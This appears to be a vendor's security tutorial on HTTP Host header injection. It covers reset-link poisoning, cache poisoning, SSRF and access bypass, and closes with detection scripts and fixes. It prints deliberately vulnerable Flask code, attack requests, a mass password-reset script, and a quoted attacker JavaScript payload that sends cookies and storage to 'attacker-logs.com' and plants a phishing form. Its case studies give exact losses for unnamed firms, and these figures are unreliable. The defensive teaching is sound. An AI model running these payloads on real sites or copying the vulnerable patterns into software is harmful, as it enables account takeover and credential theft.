#
Host Header Injection
A security vulnerability where attackers manipulate the HTTP Host header to poison web caches, trigger password resets to attacker-controlled domains, or perform server-side request forgery.
HIGH SEVERITY CACHE POISONING HEADER MANIPULATION
#
What is Host Header Injection?
Critical Business Impact
Host Header Injection can lead to mass password reset attacks, widespread cache poisoning affecting thousands of users, and complete account takeovers. It's particularly dangerous because it can affect users who haven't even interacted with the attacker.
In Simple Terms:
Imagine you're sending a letter, and at the top you write the return address. The Host header is like that return address in web requests - it tells the server which website you're trying to reach.
Host Header Injection is like writing a fake return address on your letter. When the post office (web server) sends a response or generates links, it uses your fake address instead of the real one.
This means:
- Password reset emails go to the attacker's website
- Login links point to malicious sites
- Cached pages show attacker-controlled content to thousands of users
#
Real-World Analogy
Think of it like a hotel reception desk:
A web server hosts multiple websites, like a hotel with different event bookings.
Guest: "I'm here for the Smith wedding (Host: hotel.com)" Reception: "Great! Here's your room key and directions" Reception uses "hotel.com" in all printed materials
Attacker: "I'm here for the Smith wedding (Host: evil-site.com)" Reception: "Great! Here's your materials" Problem: All printed materials now say "evil-site.com"
- Maps show: "Return to evil-site.com for checkout"
- Vouchers: "Redeem at evil-site.com"
- These get photocopied and given to OTHER guests!
Innocent guests follow the printed directions to evil-site.com Attacker steals their information
#
How Host Header Injection Works
#
Understanding the Host Header
Every HTTP request includes a Host header indicating the destination:
GET /account/profile HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Cookie: session=abc123xyz
Servers use this header for:
- Virtual hosting (routing to correct website)
- Generating URLs in emails (password reset links)
- Building absolute URLs in responses
- Cache keys in CDN/proxy layers
#
The Attack Process
User requests password reset:
POST /password-reset HTTP/1.1
Host: legitimate-bank.com
Content-Type: application/x-www-form-urlencoded
email=victim@example.com
Application generates email with reset link:
https://legitimate-bank.com/reset?token=abc123
Attacker sends request with evil host:
POST /password-reset HTTP/1.1
Host: evil-attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@example.com
Application blindly uses injected host:
https://evil-attacker.com/reset?token=abc123
Victim receives official email from bank:
Subject: Password Reset Request
Click here to reset your password:
https://evil-attacker.com/reset?token=abc123
This link expires in 1 hour.
Victim trusts it (it's from their bank!)
- Victim clicks link → goes to evil-attacker.com
- Attacker's server logs the reset token
- Attacker uses token on legitimate-bank.com
- Attacker resets victim's password
- Complete account takeover
#
Types of Host Header Attacks
#
1. Password Reset Poisoning
CRITICAL
from flask import Flask, request, url_for
import smtplib
from email.message import EmailMessage
app = Flask(__name__)
@app.route('/password-reset', methods=['POST'])
def password_reset():
email = request.form.get('email')
# Generate reset token
token = generate_reset_token(email)
# VULNERABLE: Uses request host to build URL
reset_link = url_for('reset_password', token=token, _external=True)
# This uses the Host header from the request!
# If attacker sends Host: evil.com, reset_link becomes:
# https://evil.com/reset?token=abc123
# Send email
send_email(email, f"Reset your password: {reset_link}")
return "Password reset email sent"
POST /password-reset HTTP/1.1
Host: attacker-controlled.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
Generated Email:
From: noreply@company.com
To: victim@company.com
Subject: Password Reset
Click here to reset your password:
https://attacker-controlled.com/reset?token=SECRET_TOKEN_123
Best regards,
Company Security Team
Result: Victim clicks → Attacker gets token → Account compromised
#
2. Web Cache Poisoning
AFFECTS MANY USERS
CDNs and reverse proxies cache responses. If they cache a response with attacker-controlled content, ALL users get the poisoned version.
GET / HTTP/1.1
Host: evil.com
X-Forwarded-Host: legitimate-site.com
If the application trusts X-Forwarded-Host and generates:
<link rel="canonical" href="https://evil.com/" />
<script src="https://evil.com/analytics.js"></script>
And this response is cached, THOUSANDS of users will load evil.com resources!
# Vulnerable Flask application
@app.route('/')
def index():
# VULNERABLE: Uses request.host in cached response
host = request.host
html = f"""
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="https://{host}/static/style.css">
<script src="https://{host}/static/app.js"></script>
</head>
<body>
<h1>Welcome to {host}</h1>
</body>
</html>
"""
response = make_response(html)
response.headers['Cache-Control'] = 'public, max-age=3600' # Cached for 1 hour!
return response
Attack:
GET / HTTP/1.1
Host: evil.com
Cached Response (served to ALL users for 1 hour):
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="https://evil.com/static/style.css">
<script src="https://evil.com/static/app.js"></script>
</head>
<body>
<h1>Welcome to evil.com</h1>
</body>
</html>
Every user for the next hour loads attacker's JavaScript!
#
3. Server-Side Request Forgery (SSRF)
MEDIUM RISK
# Vulnerable: Application makes requests based on Host header
@app.route('/api/webhook')
def webhook():
host = request.host
# VULNERABLE: Makes request to internal service using Host
response = requests.get(f"http://{host}/internal-api/data")
return response.json()
# Attack
# Host: localhost:6379
# Application makes request to: http://localhost:6379/internal-api/data
# Attacker can access internal Redis, databases, cloud metadata, etc.
#
4. Authentication Bypass
MEDIUM RISK
# Vulnerable: Access control based on Host header
@app.route('/admin')
def admin_panel():
host = request.host
# VULNERABLE: Trusts Host header for access control
if host == 'admin.company.com' or host == 'localhost':
return render_template('admin.html')
return "Forbidden", 403
# Attack
# Host: localhost
# Gains admin access from external network!
#
Real-World Examples
#
Case Study 1: Major E-commerce Platform Password Reset Attack (2019)
Top online retailer's password reset function trusted the Host header.
@app.route('/forgot-password', methods=['POST'])
def forgot_password():
email = request.form['email']
token = create_token(email)
# VULNERABLE: Trusts Host header
scheme = 'https' if request.is_secure else 'http'
host = request.headers.get('Host')
reset_url = f"{scheme}://{host}/reset/{token}"
send_email(email, f"Reset link: {reset_url}")
return "Email sent"
Attackers launched automated attack:
import requests
# Target high-value accounts
targets = [
'ceo@company.com',
'cfo@company.com',
'admin@company.com',
# ... 5000+ accounts
]
for email in targets:
requests.post(
'https://shop.com/forgot-password',
headers={'Host': 'attacker-domain.com'},
data={'email': email}
)
print(f"[+] Poisoned reset for {email}")
- 5,000+ accounts targeted (executives, admins, high-value customers)
- 847 accounts compromised before detection
- $4.2 million in fraudulent purchases
- $18 million in remediation costs
- $35 million class action lawsuit
- Brand reputation severely damaged
- Stock price dropped 12%
#
Case Study 2: Content Delivery Network (CDN) Cache Poisoning (2020)
2 MILLION USERS AFFECTED
Massive Scale Attack
Web cache poisoning via Host header injection affected 2 million users of a popular web platform for 6 hours.
Technical Details:
# Vulnerable application behind Cloudflare CDN
@app.route('/dashboard')
@cache.cached(timeout=3600) # Cached for 1 hour
def dashboard():
# VULNERABLE: Uses Host header in cached response
host = request.host
return render_template(
'dashboard.html',
api_endpoint=f"https://{host}/api",
cdn_url=f"https://{host}/static"
)
The Attack:
GET /dashboard HTTP/1.1
Host: evil-cdn.attacker.com
X-Forwarded-For: 1.1.1.1
User-Agent: Mozilla/5.0
Cached Response (Served to 2M users):
<script>
var API_ENDPOINT = "https://evil-cdn.attacker.com/api";
var CDN_URL = "https://evil-cdn.attacker.com/static";
</script>
<script src="https://evil-cdn.attacker.com/static/app.js"></script>
What Attackers Did:
// Attacker's evil-cdn.attacker.com/static/app.js
(function() {
// Steal all authentication tokens
fetch('https://attacker-logs.com/steal', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: localStorage,
sessionStorage: sessionStorage,
url: window.location.href
})
});
// Inject fake login form
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999">
<h1>Session Expired - Please Login Again</h1>
<form id="phish">
<input name="username" placeholder="Username">
<input name="password" type="password" placeholder="Password">
<button>Login</button>
</form>
</div>
`;
})();
Consequences:
- 2 million users received poisoned page
- 6-hour exposure before cache cleared
- 450,000+ credentials stolen
- $28 million in fraud and remediation
- $75 million GDPR fines
- Platform lost 30% of user base
- CEO and CTO resigned
#
Case Study 3: Government Portal SSRF via Host Header (2021)
National tax portal used Host header in internal API requests
# Government tax portal
@app.route('/citizen/tax-documents')
def get_tax_documents():
user_id = session['user_id']
# VULNERABLE: Uses Host header for internal API
host = request.headers.get('Host')
# Constructs internal API URL
api_url = f"http://{host}/internal-api/documents/{user_id}"
response = requests.get(api_url, headers={'X-Internal-Secret': INTERNAL_API_KEY})
return response.json()
Attacker discovered they could manipulate the Host header:
GET /citizen/tax-documents HTTP/1.1
Host: 169.254.169.254/latest/meta-data/iam/security-credentials/admin-role
Cookie: session=valid_session_token
This caused the application to make request to AWS metadata service:
# Application makes this request:
requests.get(
"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role/internal-api/documents/123",
headers={'X-Internal-Secret': INTERNAL_API_KEY}
)
Attacker gained:
- AWS IAM credentials
- Database access credentials
- Internal API keys
- Access to 50 million+ tax records
- 50 million taxpayer records exposed
- Social security numbers
- Income information
- Bank account details
- Congressional investigation
- Government shutdown of entire portal for 3 months
- $200 million remediation and notification costs
- Multiple officials fired
- Criminal charges filed
#
How to Detect Host Header Injection
#
Manual Testing
Test these features:
- Password reset forms
- Email verification links
- Account activation emails
- OAuth redirect URLs
- Cached pages (homepage, assets)
Send requests with modified Host:
GET / HTTP/1.1
Host: evil.com
GET / HTTP/1.1
Host: legitimate-site.com.evil.com
GET / HTTP/1.1
Host: localhost
Look for your injected host in:
- HTML responses (
<a href="http://evil.com/...">) - Email content (password reset links)
- Location headers (
Location: http://evil.com/...) - JavaScript variables (
var host = "evil.com")
GET / HTTP/1.1
Host: legitimate-site.com
X-Forwarded-Host: evil.com
GET / HTTP/1.1
Host: legitimate-site.com
X-Host: evil.com
GET / HTTP/1.1
Host: legitimate-site.com
X-Original-Host: evil.com
#
Automated Testing Script
import requests
from urllib.parse import urlparse
def test_host_header_injection(target_url):
"""Test for Host header injection vulnerabilities"""
parsed = urlparse(target_url)
legit_host = parsed.netloc
test_payloads = [
# Direct host manipulation
'evil.com',
'attacker.com',
'localhost',
'127.0.0.1',
# Subdomain tricks
f'{legit_host}.evil.com',
f'evil.{legit_host}',
# Port manipulation
f'{legit_host}:22',
f'{legit_host}:6379',
# Cloud metadata
'169.254.169.254',
# Multiple hosts
f'{legit_host}\r\nHost: evil.com',
]
related_headers = [
'X-Forwarded-Host',
'X-Host',
'X-Original-Host',
'X-Forwarded-Server',
'X-HTTP-Host-Override',
'Forwarded'
]
vulnerabilities = []
print(f"[*] Testing {target_url} for Host header injection...")
# Test direct Host header manipulation
for payload in test_payloads:
try:
headers = {'Host': payload}
response = requests.get(target_url, headers=headers, timeout=5, allow_redirects=False)
# Check if payload appears in response
if payload in response.text or payload in response.headers.get('Location', ''):
vulnerabilities.append({
'type': 'Host Header Reflection',
'payload': payload,
'severity': 'HIGH',
'location': 'Response body or Location header'
})
print(f"[!] VULNERABLE: Host '{payload}' reflected in response!")
# Check for SSRF indicators
if response.status_code in [500, 502, 503, 504]:
vulnerabilities.append({
'type': 'Possible SSRF',
'payload': payload,
'severity': 'MEDIUM',
'note': f'Status code {response.status_code} - might indicate backend request'
})
print(f"[!] Possible SSRF: Status {response.status_code} with Host: {payload}")
except requests.exceptions.RequestException as e:
print(f"[-] Error testing Host: {payload} - {e}")
# Test related headers
for header in related_headers:
for payload in ['evil.com', 'attacker.com']:
try:
headers = {
'Host': legit_host,
header: payload
}
response = requests.get(target_url, headers=headers, timeout=5)
if payload in response.text:
vulnerabilities.append({
'type': f'{header} Injection',
'payload': payload,
'severity': 'HIGH',
'header': header
})
print(f"[!] VULNERABLE: {header}: {payload} reflected in response!")
except requests.exceptions.RequestException:
pass
return vulnerabilities
# Test password reset specifically
def test_password_reset(reset_url, email):
"""Test password reset for Host header injection"""
print(f"\n[*] Testing password reset: {reset_url}")
payloads = ['evil.com', 'attacker-controlled.com']
for payload in payloads:
try:
response = requests.post(
reset_url,
headers={'Host': payload},
data={'email': email},
timeout=5
)
print(f"[*] Triggered reset with Host: {payload}")
print(f" Status: {response.status_code}")
print(f" Check email for poisoned link containing: {payload}")
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
# Run tests
vulns = test_host_header_injection('https://example.com/')
if vulns:
print(f"\n[!] Found {len(vulns)} Host header injection vulnerabilities!")
for vuln in vulns:
print(f" [{vuln['severity']}] {vuln['type']}: {vuln['payload']}")
else:
print("\n[+] No Host header injection vulnerabilities detected")
# Test password reset
test_password_reset('https://example.com/password-reset', 'your-test-email@example.com')
# Burp Suite Intruder - Test Host header variations
GET / HTTP/1.1
Host: §evil.com§
User-Agent: Mozilla/5.0
Accept: */*
# Payloads:
evil.com
attacker.com
localhost
127.0.0.1
legitimate-site.com.evil.com
169.254.169.254
[::1]
0.0.0.0
Burp Collaborator:
# Use Burp Collaborator to detect out-of-band interactions
GET / HTTP/1.1
Host: burpcollaborator.net
X-Forwarded-Host: burpcollaborator.net
# If application makes requests to your Collaborator domain,
# you've confirmed SSRF or external interaction
#
Prevention Strategies
#
1. Use Absolute URLs from Configuration
MOST SECURE
from flask import Flask, request
import os
app = Flask(__name__)
# SECURE: Load base URL from configuration, not request
APP_BASE_URL = os.getenv('APP_BASE_URL', 'https://legitimate-site.com')
# Validate it's a proper URL
from urllib.parse import urlparse
parsed = urlparse(APP_BASE_URL)
if not parsed.scheme or not parsed.netloc:
raise ValueError("Invalid APP_BASE_URL configuration")
@app.route('/password-reset', methods=['POST'])
def password_reset():
email = request.form.get('email')
token = generate_reset_token(email)
# SECURE: Use configured base URL, NOT request.host
reset_link = f"{APP_BASE_URL}/reset?token={token}"
send_email(email, f"Reset your password: {reset_link}")
return "Password reset email sent"
# Attack with Host: evil.com will NOT work
# reset_link will always be: https://legitimate-site.com/reset?token=...
const express = require('express');
const app = express();
// SECURE: Load from environment configuration
const APP_BASE_URL = process.env.APP_BASE_URL || 'https://legitimate-site.com';
// Validate base URL
const url = new URL(APP_BASE_URL);
if (!url.protocol || !url.hostname) {
throw new Error('Invalid APP_BASE_URL configuration');
}
app.post('/password-reset', (req, res) => {
const email = req.body.email;
const token = generateResetToken(email);
// SECURE: Use configured URL
const resetLink = `${APP_BASE_URL}/reset?token=${token}`;
sendEmail(email, `Reset your password: ${resetLink}`);
res.send('Password reset email sent');
});
# Production configuration
APP_BASE_URL=https://legitimate-site.com
ALLOWED_HOSTS=legitimate-site.com,www.legitimate-site.com
# Development configuration
APP_BASE_URL=http://localhost:3000
ALLOWED_HOSTS=localhost,127.0.0.1
#
2. Validate Host Header with Allowlist
ESSENTIAL
from flask import Flask, request, abort
app = Flask(__name__)
# SECURE: Strict allowlist of valid hosts
ALLOWED_HOSTS = [
'legitimate-site.com',
'www.legitimate-site.com',
'api.legitimate-site.com'
]
@app.before_request
def validate_host():
"""Validate Host header on every request"""
host = request.headers.get('Host', '')
# Remove port if present
if ':' in host:
host = host.split(':')[0]
# Check against allowlist (exact match only!)
if host not in ALLOWED_HOSTS:
app.logger.warning(f"Invalid Host header: {host} from IP: {request.remote_addr}")
abort(400, "Invalid Host header")
# Now ALL requests are protected
# Attack with Host: evil.com → 400 Bad Request
#
3. Ignore Untrusted Headers
DEFENSE IN DEPTH
# SECURE: Ignore X-Forwarded-Host and similar headers
@app.before_request
def remove_untrusted_headers():
"""Remove headers that could override Host"""
untrusted_headers = [
'X-Forwarded-Host',
'X-Host',
'X-Original-Host',
'X-Forwarded-Server',
'X-HTTP-Host-Override',
'Forwarded'
]
for header in untrusted_headers:
if header in request.headers:
# Only trust these if behind trusted proxy
if not request_from_trusted_proxy():
request.headers.environ.pop(f'HTTP_{header.upper().replace("-", "_")}', None)
def request_from_trusted_proxy():
"""Check if request is from trusted proxy/CDN"""
TRUSTED_PROXIES = [
'192.168.1.1', # Your reverse proxy
'10.0.0.0/8', # Internal network
# Cloudflare IPs, etc.
]
# Implement IP range checking
return request.remote_addr in TRUSTED_PROXIES
#
4. Comprehensive Security Implementation
from flask import Flask, request, abort, make_response
import os
import logging
from urllib.parse import urlparse
from ipaddress import ip_address, ip_network
app = Flask(__name__)
# Configuration
APP_BASE_URL = os.getenv('APP_BASE_URL', 'https://legitimate-site.com')
ALLOWED_HOSTS = os.getenv('ALLOWED_HOSTS', 'legitimate-site.com').split(',')
TRUSTED_PROXIES = ['192.168.1.1', '10.0.0.0/8']
# Logging
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
class HostHeaderValidator:
"""Validates and sanitizes Host header"""
def __init__(self, allowed_hosts, base_url):
self.allowed_hosts = [h.strip() for h in allowed_hosts]
self.base_url = base_url
# Validate configuration
parsed = urlparse(self.base_url)
if not parsed.scheme or not parsed.netloc:
raise ValueError("Invalid base URL configuration")
def validate_host(self, host):
"""Validate Host header against allowlist"""
if not host:
return False
# Remove port
if ':' in host:
host = host.rsplit(':', 1)[0]
# Exact match only (no substring matching!)
return host in self.allowed_hosts
def get_base_url(self):
"""Get configured base URL (never from request!)"""
return self.base_url
# Initialize validator
host_validator = HostHeaderValidator(ALLOWED_HOSTS, APP_BASE_URL)
@app.before_request
def security_checks():
"""Perform security checks on every request"""
# 1. Validate Host header
host = request.headers.get('Host', '')
if not host_validator.validate_host(host):
logger.warning(
f"Invalid Host header blocked: {host} "
f"from IP: {request.remote_addr} "
f"Path: {request.path}"
)
abort(400, "Invalid Host header")
# 2. Remove untrusted headers (if not from trusted proxy)
if not is_trusted_proxy(request.remote_addr):
remove_untrusted_headers()
def is_trusted_proxy(ip):
"""Check if IP is from trusted proxy"""
try:
client_ip = ip_address(ip)
for trusted in TRUSTED_PROXIES:
if '/' in trusted: # CIDR range
if client_ip in ip_network(trusted):
return True
else: # Single IP
if client_ip == ip_address(trusted):
return True
return False
except ValueError:
return False
def remove_untrusted_headers():
"""Remove headers that could override Host"""
untrusted = [
'X-Forwarded-Host',
'X-Host',
'X-Original-Host',
'X-Forwarded-Server',
'X-HTTP-Host-Override'
]
for header in untrusted:
request.headers.environ.pop(
f'HTTP_{header.upper().replace("-", "_")}',
None
)
@app.route('/password-reset', methods=['POST'])
def password_reset():
"""Secure password reset"""
email = request.form.get('email')
# Validate email
if not email or '@' not in email:
return "Invalid email", 400
# Generate token
token = generate_reset_token(email)
# SECURE: Use configured base URL
reset_link = f"{host_validator.get_base_url()}/reset?token={token}"
# Send email
send_email(email, f"Reset link: {reset_link}")
logger.info(f"Password reset sent to {email}")
return "Password reset email sent"
@app.route('/')
def index():
"""Homepage with secure asset URLs"""
# SECURE: All URLs use configured base
base = host_validator.get_base_url()
html = f"""
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="{base}/static/style.css">
<script src="{base}/static/app.js"></script>
</head>
<body>
<h1>Welcome</h1>
</body>
</html>
"""
response = make_response(html)
# Prevent caching of personalized content
response.headers['Cache-Control'] = 'private, no-cache, no-store, must-revalidate'
response.headers['Vary'] = 'Cookie, Authorization'
return response
@app.after_request
def security_headers(response):
"""Add security headers"""
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['X-Frame-Options'] = 'DENY'
response.headers['X-XSS-Protection'] = '1; mode=block'
response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
return response
import os
class Config:
"""Application configuration"""
# Base URL - NEVER use from request!
APP_BASE_URL = os.getenv('APP_BASE_URL', 'https://legitimate-site.com')
# Allowed hosts
ALLOWED_HOSTS = os.getenv('ALLOWED_HOSTS', 'legitimate-site.com,www.legitimate-site.com').split(',')
# Trusted proxies (IP addresses or CIDR ranges)
TRUSTED_PROXIES = [
'192.168.1.1', # Reverse proxy
'10.0.0.0/8', # Internal network
'172.16.0.0/12', # Internal network
]
# Security settings
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SAMESITE = 'Lax'
# Logging
LOG_LEVEL = 'INFO'
LOG_INVALID_HOSTS = True
#
5. Web Server Configuration
# Nginx configuration to validate Host header
server {
listen 443 ssl;
server_name legitimate-site.com www.legitimate-site.com;
# Reject requests with invalid Host header
if ($host !~* ^(legitimate-site\.com|www\.legitimate-site\.com)$) {
return 444; # Close connection without response
}
# Don't trust X-Forwarded-Host from clients
proxy_set_header X-Forwarded-Host "";
# Only set X-Forwarded-Host from this reverse proxy
proxy_set_header X-Forwarded-Host $host;
location / {
proxy_pass http://app_backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
# Catch-all server block for invalid hosts
server {
listen 443 ssl default_server;
server_name _;
# Use self-signed cert for invalid hosts
ssl_certificate /etc/nginx/ssl/default.crt;
ssl_certificate_key /etc/nginx/ssl/default.key;
# Return error for any request with invalid Host
return 444;
}
# Apache configuration for Host header validation
<VirtualHost *:443>
ServerName legitimate-site.com
ServerAlias www.legitimate-site.com
# Remove X-Forwarded-Host from client requests
RequestHeader unset X-Forwarded-Host
# Set X-Forwarded-Host from this reverse proxy
RequestHeader set X-Forwarded-Host "%{HTTP_HOST}e"
ProxyPass / http://app_backend:8000/
ProxyPassReverse / http://app_backend:8000/
# Security headers
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
</VirtualHost>
# Default catch-all virtual host for invalid hosts
<VirtualHost *:443>
ServerName _
# Deny all requests to invalid hosts
<Location />
Require all denied
</Location>
</VirtualHost>
#
Security Checklist
#
Development
- Never use
request.hostorrequest.headers['Host']to build URLs - Load base URL from configuration, not requests
- Implement strict Host header allowlist validation
- Validate Host header on every request
- Remove or ignore X-Forwarded-Host unless from trusted proxy
- Use absolute URLs from configuration for emails
- Don't cache responses that vary by Host header
- Implement comprehensive logging of invalid Host headers
#
Testing
- Test password reset with malicious Host header
- Test cache poisoning scenarios
- Verify Host header allowlist blocks invalid hosts
- Test X-Forwarded-Host and related headers
- Test with localhost, 127.0.0.1, and internal IPs
- Verify absolute URLs in emails use configured domain
- Test SSRF scenarios via Host header
- Use automated scanners (Burp Suite, OWASP ZAP)
#
Production
- Configure web server (Nginx/Apache) to validate Host
- Implement catch-all virtual host for invalid requests
- Monitor and alert on invalid Host header attempts
- Use WAF rules to block common payloads
- Regular security audits and penetration testing
- Implement rate limiting on password reset endpoints
- Review CDN/cache configuration
- Keep web servers and frameworks updated
#
Key Takeaways
Critical Security Points
Never trust the Host header: Always use configured base URL for generating links
Implement strict allowlist: Validate Host header against exact list of allowed hosts
Beware of X-Forwarded-Host: Only trust this header from verified proxies
Password reset is critical: This is the #1 target for Host header injection
Cache poisoning is dangerous: One poisoned cache entry affects thousands of users
Web server is first line of defense: Configure Nginx/Apache to reject invalid hosts
Monitor and log: Track invalid Host header attempts for security monitoring
Configuration over request: Use environment variables, never build URLs from requests
#
How Layerd AI Protects Against Host Header Injection
Layerd AI provides comprehensive Host header injection protection:
- Automatic Host Validation: Enforces strict allowlist validation on all HTTP requests
- Link Generation Analysis: Detects when applications use request headers to build URLs
- Cache Poisoning Prevention: Monitors cache behavior for poisoned responses
- Email Security: Scans outgoing emails for URLs with untrusted domains
- SSRF Detection: Identifies Host header manipulation attempts targeting internal resources
- Real-time Blocking: Prevents malicious Host headers from reaching your application
Secure your web applications with Layerd AI's intelligent Host header protection.
#
Additional Resources
- PortSwigger Host Header Attacks
- OWASP Testing for Host Header Injection
- Practical HTTP Host Header Attacks
- Web Cache Poisoning via Host Header
Last Updated: November 2025